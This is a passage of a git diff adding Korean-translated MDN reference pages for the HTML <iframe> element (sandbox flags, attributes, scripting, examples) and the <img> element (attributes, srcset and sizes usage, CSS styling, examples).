+ <li><code>allow-storage-access-by-user-activation</code> {{experimental_inline}}: Lets the resource request access to the parent's storage capabilities with the <a href="/en-US/docs/Web/API/Storage_Access_API">Storage Access API</a>.</li>
+ <li><code>allow-top-navigation</code>: Lets the resource navigate the top-level browsing context (the one named <code>_top</code>).</li>
+ <li><code>allow-top-navigation-by-user-activation</code>: Lets the resource navigate the top-level browsing context, but only if initiated by a user gesture.</li>
+ </ul>
+
+ <div class="note"><strong>Notes about sandboxing:</strong>
+
+ <ul>
+ <li>When the embedded document has the same origin as the embedding page, it is <strong>strongly discouraged</strong> to use both <code>allow-scripts</code> and <code>allow-same-origin</code>, as that lets the embedded document remove the <code>sandbox</code> attribute — making it no more secure than not using the <code>sandbox</code> attribute at all.</li>
+ <li>Sandboxing is useless if the attacker can display content outside a sandboxed <code>iframe</code> — such as if the viewer opens the frame in a new tab. Such content should be also served from a <em>separate origin</em> to limit potential damage.</li>
+ <li>The <code>sandbox</code> attribute is unsupported in Internet Explorer 9 and earlier.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>The URL of the page to embed. Use a value of <code>about:blank</code> to embed an empty page that conforms to the <a href="/en-US/docs/Web/Security/Same-origin_policy#Inherited_origins">same-origin policy</a>. Also note that programatically removing an <code>&lt;iframe&gt;</code>'s src attribute (e.g. via {{domxref("Element.removeAttribute()")}}) causes <code>about:blank</code> to be loaded in the frame in Firefox (from version 65), Chromium-based browsers, and Safari/iOS.</dd>
+ <dt>{{htmlattrdef("srcdoc")}}</dt>
+ <dd>Inline HTML to embed, overriding the <code>src</code> attribute. If a browser does not support the <code>srcdoc</code> attribute, it will fall back to the URL in the <code>src</code> attribute.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>The width of the frame in CSS pixels. Default is <code>300</code>.</dd>
+</dl>
+
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<p>These attributes are deprecated and may no longer be supported by all user agents. You should not use them in new content, and try to remove them from existing content.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>The alignment of this element with respect to the surrounding context.</dd>
+ <dt>{{htmlattrdef("frameborder")}} {{obsolete_inline("html5")}}</dt>
+ <dd>The value <code>1</code> (the default) draws a border around this frame. The value <code>0</code> removes the border around this frame, but you should instead use the CSS property {{cssxref("border")}} to control <code>&lt;iframe&gt;</code> borders.</dd>
+ <dt>{{htmlattrdef("longdesc")}} {{obsolete_inline("html5")}}</dt>
+ <dd>A URL of a long description of the frame's content. Due to widespread misuse, this is not helpful for non-visual browsers.</dd>
+ <dt>{{htmlattrdef("marginheight")}} {{obsolete_inline("html5")}}</dt>
+ <dd>The amount of space in pixels between the frame's content and its top and bottom borders.</dd>
+ <dt>{{htmlattrdef("marginwidth")}} {{obsolete_inline("html5")}}</dt>
+ <dd>The amount of space in pixels between the frame's content and its left and right borders.</dd>
+ <dt>{{htmlattrdef("scrolling")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Indicates when the browser should provide a scrollbar for the frame:
+ <ul>
+ <li><code>auto</code>: Only when the frame's content is larger than its dimensions.</li>
+ <li><code>yes</code>: Always show a scrollbar.</li>
+ <li><code>no</code>: Never show a scrollbar.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Non-standard_attributes_non-standard_inline">Non-standard attributes {{non-standard_inline}}</h3>
+
+<dl>
+ <dt>{{htmlattrdef("mozbrowser")}} {{non-standard_inline}}</dt>
+ <dd>
+ <div class="note">See {{bug(1318532)}} for exposing this to WebExtensions in Firefox.</div>
+ Makes the <code>&lt;iframe&gt;</code> act like a top-level browser window. See <a href="/en-US/docs/Mozilla/Gecko/Chrome/API/Browser_API">Browser API</a> for details.<br>
+ <strong>Available only to <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a>.</strong></dd>
+</dl>
+
+<h2 id="스크립팅">스크립팅</h2>
+
+<p>Inline frames, like {{HTMLElement("frame")}} elements, are included in the {{domxref("window.frames")}} pseudo-array.</p>
+
+<p>With the DOM {{domxref("HTMLIFrameElement")}} object, scripts can access the {{domxref("window")}} object of the framed resource via the {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} property. The {{domxref("HTMLIFrameElement.contentDocument", "contentDocument")}} property refers to the <code>document</code> inside the <code>&lt;iframe&gt;</code>, same as <code>contentWindow.document</code>.</p>
+
+<p>From the inside of a frame, a script can get a reference to its parent window with {{domxref("window.parent")}}.</p>
+
+<p>Script access to a frame's content is subject to the {{Glossary("same-origin policy")}}. Scripts cannot access most properties in other <code>window</code> objects if the script was loaded from a different origin, including scripts inside a frame accessing the frame's parent. Cross-origin communication can be achieved using {{domxref("Window.postMessage()")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_프레임">간단한 프레임</h3>
+
+<p>An <code>&lt;iframe&gt;</code> in action. After creating the frame, when the user clicks a button, its title is displayed in an alert.</p>
+
+<div id="htmlOutputWrapper">
+<pre class="brush: html">&lt;iframe src="https://mdn-samples.mozilla.org/snippets/html/iframe-simple-contents.html"
+  title="iframe Example 1" width="400" height="300"&gt;
+&lt;/iframe&gt;</pre>
+</div>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('간단한_프레임', 640,400)}}</p>
+
+<h3 id="프레임_안의_링크를_다른_탭에서_열기">프레임 안의 링크를 다른 탭에서 열기</h3>
+
+<div>
+<pre class="brush: html">&lt;iframe id="Example2"
+ title="iframe Example 2"
+ width="400" height="300"
+ style="border:none"
+ src="https://maps.google.com/maps?f=q&amp;source=s_q&amp;q=buenos+aires&amp;sll=37.0625,-95.677068&amp;sspn=38.638819,80.859375&amp;t=h&amp;hnear=Buenos+Aires,+Argentina&amp;z=11&amp;ll=-34.603723,-58.381593&amp;output=embed"&gt;
+&lt;/iframe&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('프레임_안의_링크를_다른_탭에서_열기', 640, 400)}}</p>
+</div>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'the-iframe-element.html#the-iframe-element', '&lt;iframe&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-iframe-element', '&lt;iframe&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'present/frames.html#h-16.5', '&lt;iframe&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.iframe", 3)}}</p>
diff --git a/files/ko/web/html/element/img/index.html b/files/ko/web/html/element/img/index.html
new file mode 100644
index 0000000000..bedbe7b074
--- /dev/null
+++ b/files/ko/web/html/element/img/index.html
@@ -0,0 +1,389 @@
+---
+title: '<img>: 이미지 삽입 요소'
+slug: Web/HTML/Element/img
+tags:
+ - Element
+ - HTML
+ - HTML embedded content
+ - Multimedia
+ - Reference
+ - Web
+ - 사진
+ - 이미지
+translation_of: Web/HTML/Element/img
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;img&gt;</code> 요소</strong>는 문서에 이미지를 넣습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/img.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p>위의 예제를 통해 <code>&lt;img&gt;</code> 요소의 사용법을 알 수 있습니다.</p>
+
+<ul>
+ <li><code>src</code> 특성은 <strong>필수</strong>이며, 포함하고자 하는 이미지로의 경로를 지정합니다.</li>
+ <li><code>alt</code> 특성은 이미지의 텍스트 설명이며 필수는 아니지만, 스크린 리더가 <code>alt</code>의 값을 읽어 사용자에게 이미지를 설명하므로, 접근성 차원에서 <strong>매우 유용</strong>합니다. 또한 네트워크 오류, 콘텐츠 차단, 죽은 링크 등 이미지를 표시할 수 없는 경우에도 이 속성의 값을 대신 보여줍니다.</li>
+</ul>
+
+<div class="hidden">
+<p>다양한 목적을 위한 많은 수의 속성이 더 존재합니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Referrer-Policy">Referrer</a>/{{glossary("CORS")}} control for security and privacy: see {{htmlattrxref("crossorigin", "img")}} and {{htmlattrxref("referrerpolicy", "img")}}.</li>
+ <li>Setting an {{glossary("intrinsic size")}} using {{htmlattrxref("width", "img")}}, {{htmlattrxref("height", "img")}}, and {{htmlattrxref("intrinsicsize", "img")}}: this sets the space taken up by an image to ensure the page layout is stable before it loads.</li>
+ <li>Responsive image hints with {{htmlattrxref("sizes", "img")}} and {{htmlattrxref("srcset", "img")}} (see also the {{htmlelement("picture")}} element and our <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a> tutorial).</li>
+</ul>
+</div>
+
+<h2 id="지원하는_이미지_형식">지원하는 이미지 형식</h2>
+
+<p>HTML 표준은 지원해야 하는 이미지 형식을 명시하고 있지 않으므로, 각각의 {{glossary("user agent", "사용자 에이전트")}}는 서로 다른 형식을 지원합니다. 전체 목록은 <a href="/ko/docs/Web/Media/Formats/Image_types">웹 브라우저가 지원하는 이미지 형식 안내서</a>를 참고하세요.</p>
+
+<h2 id="이미지를_가져올_수_없을_때">이미지를 가져올 수 없을 때</h2>
+
+<p>이미지를 불러오거나 그릴 때 오류가 발생했고, {{htmlattrxref("onerror")}} 속성에 오류 처리기를 등록했다면 {{event("error")}} 이벤트와 함께 처리기를 호출합니다. 오류는 다양한 상황에서 발생할 수 있는데, 그 중 일부 원인은 다음과 같습니다.</p>
+
+<ul>
+ <li>{{htmlattrxref("src", "img")}} 속성이 비었거나 {{jsxref("null")}}임.</li>
+ <li><code>src</code>의 URL이 현재 사용자가 보는 페이지의 URL과 같음.</li>
+ <li>지정한 이미지가 손상돼 불러올 수 없음.</li>
+ <li>이미지의 메타데이터가 손상돼 원본 크기를 알아낼 수 없고, <code>&lt;img&gt;</code> 요소의 속성에도 크기를 지정하지 않음.</li>
+ <li>{{Glossary("user agent", "사용자 에이전트")}}가 지원하지 않는 이미지 형식임.</li>
+</ul>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>이미지의 대체 텍스트 설명.
+ <div class="note">
+ <p><strong>참고:</strong> 브라우저가 항상 이미지를 표시하는건 아닙니다. 예를 들어,</p>
+
+ <ul>
+ <li>비 시각적 브라우저 (시각 장애인이 사용하는 일부 브라우저 등)</li>
+ <li>사용자가 이미지 불러오기 거부 (대역폭 절약, 개인정보 보호 등)</li>
+ <li>유효하지 않은 이미지거나, <a href="/ko/docs/Web/HTML/Element/img#지원하는_이미지_형식">지원하지 않는 형식</a></li>
+ </ul>
+
+ <p>위와 같은 경우 브라우저가 이미지를 <code>alt</code> 특성의 텍스트로 대체할 수 있습니다. 그러므로 가능한 경우 <code>alt</code> 특성에 항상 유용한 값을 제공해야 합니다.</p>
+ </div>
+
+ <p><code>alt</code> 특성을 아예 지정하지 않은 경우 이미지가 콘텐츠의 중요 부분이나 텍스트로 표현할 수 없음을 의미합니다. 빈 문자열(<code>alt=""</code>)을 사용한 경우, 이미지가 콘텐츠의 중요 부분이 <strong>아니므로</strong>(장식 또는 추적용 픽셀 등), 비 시각적 브라우저가 {{glossary("Rendering engine", "렌더링")}}을 하지 않아도 된다는 의미입니다. 시각적 브라우저도 <code>alt</code> 특성이 비어있을 경우 깨진 이미지 아이콘을 표시하지 않습니다.</p>
+
+ <p>이미지를 텍스트로서 복사-붙여넣기할 때와, 이미지 링크를 북마크 할 때도 <code>alt</code>의 값을 사용합니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>CORS를 사용해 지정한 이미지 파일을 가져와야 하는지의 여부. <a href="/ko/docs/Web/HTML/CORS_enabled_image">교차 출처 활성화 리소스</a>는 {{HTMLElement("canvas")}} 요소에 사용해도 캔버스를 "오염"시키지 않습니다. 가능한 값은 다음과 같습니다.
+ <dl>
+ <dt><code>anonymous</code></dt>
+ <dd>자격 증명 없이 교차 출처 요청을 전송합니다. 즉, {{httpheader("Origin")}} {{glossary("HTTP")}} 헤더를 쿠키, <a href="https://tools.ietf.org/html/rfc5280">X.509 인증서</a>, <a href="/ko/docs/Web/HTTP/Authentication#Basic_인증_스킴">HTTP Basic 인증</a> 없이 전송합니다. 서버에서 {{httpheader("Access-Control-Allow-Origin")}} HTTP 헤더를 지정하지 않음으로써 요청 출처 사이트에 자격 증명을 보내지 않는다면 이미지는 "오염"되고, 사용처가 제한됩니다.</dd>
+ <dt><code>use-credentials</code></dt>
+ <dd>자격 증명과 함께 교차 출처 요청을 전송합니다. 즉, <code>Origin</code> HTTP 헤더를 쿠키, X 509 인증서, 또는 HTTP Basic 이증과 함께 전송합니다. 서버에서 <code>Access-Control-Allow-Credentials</code> HTTP 헤더를 통한 자격 증명을 요청 출처 사이트에 보내지 않는다면 이미지는 "오염"되고, 사용처가 제한됩니다.</dd>
+ </dl>
+ 특성이 존재하지 않으면 리소스를 CORS 요청 없이(<code>Origin</code> HTTP 헤더 없이) 가져오므로, {{htmlelement("canvas")}}를 오염시키게 됩니다. 유효하지 않은 값의 경우 <code>anonymous</code> 키워드를 사용한 것으로 간주합니다.</dd>
+ <dt>{{htmlattrdef("decoding")}}</dt>
+ <dd>이미지 디코딩에 관해 브라우저에 제공할 힌트. 가능한 값은 다음과 같습니다.
+ <dl>
+ <dt><code>sync</code></dt>
+ <dd>다른 콘텐츠와 함께 표시하기 위해 이미지를 동기적으로 디코딩 합니다.</dd>
+ <dt><code>async</code></dt>
+ <dd>다른 콘텐츠의 표시 지연을 피하기 위해 이미지를 비동기적으로 디코딩 합니다.</dd>
+ <dt><code>auto</code></dt>
+ <dd>선호하는 디코딩 모드가 없음을 나타내는 기본값입니다. 사용자에게 제일 적절한 값을 브라우저가 결정합니다.</dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>픽셀 단위의 이미지의 고유 크기. 단위 없는 정수여야 합니다.</dd>
+ <dt id="name-attribute">{{htmlattrdef("importance")}} {{experimental_inline}}</dt>
+ <dd>리소스의 상대적인 다운로드 중요도. 가능한 값은 다음과 같습니다.</dd>
+ <dd>
+ <p><code>auto</code>: <strong>설정 안함</strong>. 브라우저가 자체 휴리스틱을 사용해 이미지의 우선순위를 결정합니다.</p>
+
+ <p><code>high</code>: 이미지가 <strong>높은</strong> 우선순위를 지님.</p>
+
+ <p><code>low</code>: 이미지가 <strong>낮은</strong> 우선순위를 지님.</p>
+ </dd>
+ <dt class="hidden">{{htmlattrdef("intrinsicsize")}} {{deprecated_inline}}</dt>
+ <dd class="hidden">This attribute tells the browser to ignore the actual intrinsic size of the image and pretend it’s the size specified in the attribute. Specifically, the image would raster at these dimensions and <code>naturalWidth</code>/<code>naturalHeight</code> on images would return the values specified in this attribute. <a href="https://github.com/ojanvafai/intrinsicsize-attribute">Explainer</a>, <a href="https://googlechrome.github.io/samples/intrinsic-size/index.html">examples</a></dd>
+ <dt>{{htmlattrdef("ismap")}}</dt>
+ <dd>이미지가 <a href="https://ko.wikipedia.org/wiki/%EC%9D%B4%EB%AF%B8%EC%A7%80_%EB%A7%B5">서버 사이드 맵</a>의 일부인지 나타냄. 서버 사이드 맵에 속하는 경우, 사용자가 이미지에서 클릭한 위치를 서버로 전송합니다.
+ <div class="note">
+ <p><strong>참고:</strong> 포인팅 장치가 없는 사용자도 갈 수 있는 대체 목적지를 제공하기 위해, <code>ismap</code>은 <code>&lt;img&gt;</code> 요소가 유효한 {{htmlattrxref("href", "a")}} 특성을 가진 {{htmlelement("a")}} 요소의 자손인 경우에만 사용 가능합니다.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("loading")}}</dt>
+ <dd>브라우저가 이미지를 불러올 때 사용할 방식을 지정합니다.
+ <ul>
+ <li><code>eager</code>: 뷰포트 안에 위치하는지 여부에 상관하지 않고 이미지를 즉시 불러옵니다. (기본값)</li>
+ <li><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">lazy</span></font>: 이미지가 뷰포트의 일정 거리 안으로 들어와야 불러옵니다. 거리는 브라우저가 정의합니다. 이미지를 보게 될 것으로 충분히 예상 가능한 상황에만 불러옴으로써, 불필요하게 네트워크와 저장소 대역폭을 낭비하지 않을 수 있습니다. 또한 일반적인 사용처에서는 대개 성능을 향상할 수 있습니다.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>리소스를 가져올 때 사용할 리퍼러를 나타내는 문자열.
+ <ul>
+ <li><code>no-referrer:</code> {{httpheader("Referer")}} 헤더를 전송하지 않습니다.</li>
+ <li><code>no-referrer-when-downgrade:</code> TLS(HTTPS) 지원을 하지 않는 출처에 대해서는 <code>Referer</code> 헤더를 전송하지 않습니다. 따로 지정하지 않은 경우 사용하는 기본 정책입니다.</li>
+ <li><code>origin:</code> <code>Referer</code> 헤더가 요청 출처의 {{glossary("schema", "스킴")}}, {{glossary("host", "호스트")}}, {{glossary("port", "포트")}}를 포함합니다.</li>
+ <li><code>origin-when-cross-origin:</code> 다른 출처로 요청할 땐 리퍼럴 데이터를 스킴, 호스트, 포트로 제한합니다. 동일 출처로 요청할 땐 전체 경로와 쿼리 문자열도 포함합니다.</li>
+ <li><code>unsafe-url:</code> <code>Referrer</code> 헤더가 항상 출처, 경로, 쿼리 문자열을 포함합니다. 하지만 프래그먼트, 비밀번호, 사용자 이름은 포함하지 않습니다. TLS로 보호받는 리소스에서 그렇지 않은 출처로 정보를 누출할 수 있으므로 <strong>안전하지 않습니다</strong>.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("sizes")}}</dt>
+ <dd>소스 크기를 나타내는, 쉼표로 구분한 하나 이상의 문자열. 각각의 문자열은 다음 구성요소로 이루어집니다.
+ <ol>
+ <li><a href="/ko/docs/Web/Guide/CSS/Media_queries#구문">미디어 조건</a>. 마지막 항목에서는 생략해야 합니다.</li>
+ <li>소스 크기 값.</li>
+ </ol>
+
+ <p>미디어 조건은 이미지의 속성이 아니라<strong> {{glossary("viewport", "뷰포트")}}</strong> 속성을 가리킵니다. 예를 들어, <code>(max-height: 500px) 1000px</code>은 1000px 너비의 소스를 사용하려면 <strong>뷰포트</strong>가 500px 이하여야 한다는 뜻입니다.</p>
+
+ <p>소스 크기는 의도한 이미지 표시 크기를 지정합니다. {{glossary("user agent", "사용자 에이전트")}}는 현재 소스 크기를 사용해, 너비(<code>w</code>) 서술자를 사용한 <code>srcset</code> 특성의 소스 중 하나를 선택합니다. 선택한 소스 크기는 이미지의 {{glossary("intrinsic size", "고유 크기")}}({{glossary("CSS")}} 스타일을 입히지 않은 경우 이미지의 표시 크기)에 영향을 줍니다. <code>srcset</code>이 비어있거나 너비 서술자를 사용하지 않은 경우, <code>sizes</code> 특성은 아무 효과도 없습니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>이미지의 {{glossary("URL")}}. 필수 사항입니다. <code>srcset</code>을 지원하는 {{glossary("Browser", "브라우저")}}의 <code>srcset</code>에 픽셀 밀도 <code>1x</code>와 <code>w</code> 서술자가 없는 경우, <code>src</code>는 픽셀 밀도 <code>1x</code>의 이미지 후보로 취급합니다.</dd>
+ <dt>{{htmlattrdef("srcset")}}</dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}가 사용할 수 있는 이미지 소스의 후보. 쉼표로 구분하는 한 개 이상의 문자열 목록입니다. 각각의 문자열은 다음 구성요소로 이루어집니다.
+ <ol>
+ <li>이미지의 {{glossary("URL")}}.</li>
+ <li>선택적으로, 공백과 함께 그 뒤를 잇는...
+ <ul>
+ <li>너비 서술자(양의 정수와 바로 뒤의 '<code>w</code>' 문자). 너비 서술자의 값을 <code>sizes</code> 특성으로 지정한 소스 크기로 나눠서 픽셀 밀도를 구합니다.</li>
+ <li>픽셀 밀도 서술자(양의 실수와 바로 뒤의 '<code>x</code>' 문자).</li>
+ </ul>
+ </li>
+ </ol>
+
+ <p>서술자를 포함하지 않은 경우 기본값인 <code>1x</code>로 간주합니다.</p>
+
+ <p>같은 <code>srcset</code> 특성에 너비와 픽셀 밀도 서술자를 함께 사용하거나, 동일한 서술자를 두 개 이상 사용하는건 유효하지 않습니다.</p>
+
+ <p>사용자 에이전트 스스로 가능한 소스 중 하나를 선택합니다. 따라서 사용자 에이전트는 사용자의 개인 설정 또는 대역폭 상황에 따라 선택을 조절할 수 있는 상당한 여지를 가집니다. <a href="/ko/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">반응형 이미지 자습서</a>를 방문해 예제를 살펴보세요.</p>
+ </dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>이미지의 픽셀 기준 고유 너비. 단위 없는 정수여야 합니다.</dd>
+ <dt>{{htmlattrdef("usemap")}}</dt>
+ <dd>요소와 연결할 <a href="/ko/docs/HTML/Element/map">이미지 맵</a>의 프래그먼트.
+ <div class="note">
+ <p><strong>참고: </strong><code>&lt;img&gt;</code> 요소가 {{htmlelement("a")}} 또는 {{HTMLElement("button")}} 요소의 자손이면 사용할 수 없습니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Obsolete_Inline}}</dt>
+ <dd>Aligns the image with its surrounding context. Use the {{cssxref('float')}} and/or {{cssxref('vertical-align')}} {{glossary("CSS")}} properties instead of this attribute. Allowed values:</dd>
+ <dd>
+ <dl>
+ <dt><code>top</code></dt>
+ <dd>Equivalent to <code style="white-space: nowrap;">vertical-align: top</code> or <code style="white-space: nowrap;">vertical-align: text-top</code></dd>
+ <dt><code>middle</code></dt>
+ <dd>Equivalent to <code style="white-space: nowrap;">vertical-align: -moz-middle-with-baseline</code></dd>
+ <dt><code>bottom</code></dt>
+ <dd>The default, equivalent to <code style="white-space: nowrap;">vertical-align: unset</code> or <code style="white-space: nowrap;">vertical-align: initial</code></dd>
+ <dt><code>left</code></dt>
+ <dd>Equivalent to <code style="white-space: nowrap;">float: left</code></dd>
+ <dt><code>right</code></dt>
+ <dd>Equivalent to <code style="white-space: nowrap;">float: right</code></dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("border")}} {{Obsolete_Inline}}</dt>
+ <dd>The width of a border around the image. Use the {{cssxref('border')}} {{glossary("CSS")}} property instead.</dd>
+ <dt>{{htmlattrdef("hspace")}} {{Obsolete_Inline}}</dt>
+ <dd>The number of pixels of white space on the left and right of the image. Use the {{cssxref('margin')}} CSS property instead.</dd>
+ <dt>{{htmlattrdef("longdesc")}} {{Obsolete_Inline}}</dt>
+ <dd>A link to a more detailed description of the image. Possible values are a {{glossary("URL")}} or an element {{htmlattrxref("id")}}.
+ <div class="note">
+ <p><strong>Note:</strong> This attribute is mentioned in the latest {{glossary("W3C")}} version, <a class="external external-icon" href="https://www.w3.org/TR/html52/obsolete.html#element-attrdef-img-longdesc">HTML 5.2</a>, but has been removed from the {{glossary("WHATWG")}}’s <a class="external external-icon" href="https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element">HTML Living Standard</a>. It has an uncertain future; authors should use a {{glossary("WAI")}}-{{glossary("ARIA")}} alternative such as <a class="external external-icon" href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby"><code>aria-describedby</code></a> or <a class="external external-icon" href="https://www.w3.org/TR/wai-aria-1.1/#aria-details"><code>aria-details</code></a>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("name")}} {{Obsolete_Inline}}</dt>
+ <dd>A name for the element. Use the {{htmlattrxref("id")}} attribute instead.</dd>
+ <dt>{{htmlattrdef("vspace")}} {{Obsolete_Inline}}</dt>
+ <dd>The number of pixels of white space above and below the image. Use the {{cssxref('margin')}} CSS property instead.</dd>
+</dl>
+</div>
+
+<h2 id="CSS_스타일링">CSS 스타일링</h2>
+
+<p><code>&lt;img&gt;</code>는 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>입니다. 기본적으로 {{cssxref("display")}}는 <code>inline</code>이나, 기본 크기는 내장한 이미지의 고유 크기로 정해지므로 마치 <code>inline-block</code>처럼 보입니다. {{cssxref("border")}}/{{cssxref("border-radius")}}, {{cssxref("padding")}}/{{cssxref("margin")}}, {{cssxref("width")}}, {{cssxref("height")}} 등의 속성을 이미지에 지정할 수 있습니다.</p>
+
+<p><code>&lt;img&gt;</code>는 기준선을 갖지 않으므로, {{cssxref("vertical-align")}}<code>: baseline</code>을 지정한 인라인 서식 맥락에서는 이미지의 아래쪽 모서리가 텍스트 기준선으로 가게 됩니다.</p>
+
+<p>요소 박스 내의 이미지 위치는 {{cssxref("object-position")}} 속성으로 바꿀 수 있습니다. 크기는 {{cssxref("object-fit")}} 속성을 통해 요소 크기에 맞출지, 요소를 채울지 등을 지정할 수 있습니다.</p>
+
+<p>이미지는 고유 너비와 높이를 가질 수 있지만, 일부 유형의 이미지는 그렇지 않습니다. 예를 들어, {{glossary("SVG")}} 요소는 루트 {{svgelement("svg")}} 요소에 <code>width</code>와 <code>height</code>가 없는 경우 고유 크기를 가지지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="보조_텍스트">보조 텍스트</h3>
+
+<p>페이지에 이미지를 삽입하고, 접근성을 높이기 위해 대체 텍스트를 제공하는 간단한 예제입니다.</p>
+
+<pre class="brush: html">&lt;img src="https://developer.mozilla.org/static/img/favicon144.png"
+ alt="MDN logo"&gt;</pre>
+
+<p>{{ EmbedLiveSample('보조_텍스트', '100%', '70') }}</p>
+
+<h3 id="이미지_링크">이미지 링크</h3>
+
+<p>이 예제는 이전 코드에 더해 이미지를 링크로 바꾸는 법을 보입니다. 단순히 <code>&lt;img&gt;</code> 태그를 {{htmlelement("a")}} 안에 넣기만 하면 됩니다. 다만 고려할 점 하나는, 해당 링크가 가리키는 곳을 설명하는 대체 텍스트를 포함해야 한다는 것입니다.</p>
+
+<pre class="brush: html">&lt;a href="https://developer.mozilla.org"&gt;
+ &lt;img src="https://developer.mozilla.org/static/img/favicon144.png"
+ alt="Visit the MDN site"&gt;
+&lt;/a&gt;</pre>
+
+<p>{{ EmbedLiveSample('이미지_링크', '100%', '70') }}</p>
+
+<h3 id="srcset_특성_사용하기"><code>srcset</code> 특성 사용하기</h3>
+
+<p>이번 예제에서는 {{htmlattrxref("srcset", "img")}} 특성에 고해상도 버전 로고를 추가했습니다. 그러면 고해상도 장치에서는 일반 <code>src</code> 이미지 대신 고해상도 이미지를 사용합니다. <code>srcset</code> 특성을 지원하는 {{glossary("user agent", "사용자 에이전트")}}는 <code>src</code> 특성을 <code>srcset</code> <code>1x</code> 로 간주합니다.</p>
+
+<pre class="brush: html">&lt;img src="https://developer.mozilla.org/static/img/favicon72.png"
+ alt="MDN logo"
+ srcset="https://developer.mozilla.org/static/img/favicon144.png 2x"&gt;</pre>
+
+<p>{{EmbedLiveSample("srcset_특성_사용하기", "100%", "160")}}</p>
+
+<h3 id="srcset과_sizes_특성_사용하기"><code>srcset</code>과 <code>sizes</code> 특성 사용하기</h3>
+
+<p>{{htmlattrxref("srcset", "img")}}를 지원하는 {{glossary("user agent", "사용자 에이전트")}}는, <code>srcset</code>에 <code>w</code> 서술자를 사용한 경우 <code>src</code> 특성을 무시합니다. 다음 코드는 미디어 조건 <code>(max-width: 600px)</code>을 만족할 때 200px 너비의 이미지를 불러오고, 그 외의 경우엔 다른 이미지(400px)를 불러옵니다.</p>
+
+<pre class="brush: html">&lt;img src="/files/16864/clock-demo-200px.png"
+ alt="Clock"
+ srcset="/files/16864/clock-demo-200px.png 200w,
+ /files/16797/clock-demo-400px.png 400w"
+ sizes="(max-width: 600px) 200px, 50vw"&gt;</pre>
+
+<p>{{EmbedLiveSample("srcset과_sizes_특성_사용하기", "100%", 350)}}</p>
+
+<div class="blockIndicator note">
+<p>직접 창 크기를 조절하면서 이미지의 변화를 관측하려면 <a href="https://mdn.mozillademos.org/ko/docs/Web/HTML/Element/img$samples/srcset%EA%B3%BC_sizes_%ED%8A%B9%EC%84%B1_%EC%82%AC%EC%9A%A9%ED%95%98%EA%B8%B0">별도 페이지</a>를 방문하세요.</p>
+</div>
+
+<h2 id="보안_및_개인정보_고려사항">보안 및 개인정보 고려사항</h2>
+
+<p><code>&lt;img&gt;</code> 요소를 사용하는 것에는 문제가 없으나, 의도치 않게 사용자 개인정보와 보안에 악영향을 줄 수 있습니다. <a href="/ko/docs/Web/Security/Referer_header:_privacy_and_security_concerns">Referer 헤더: 개인정보 및 보안 고려사항</a> 문서를 방문해 더 많은 정보를 알아보세요.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
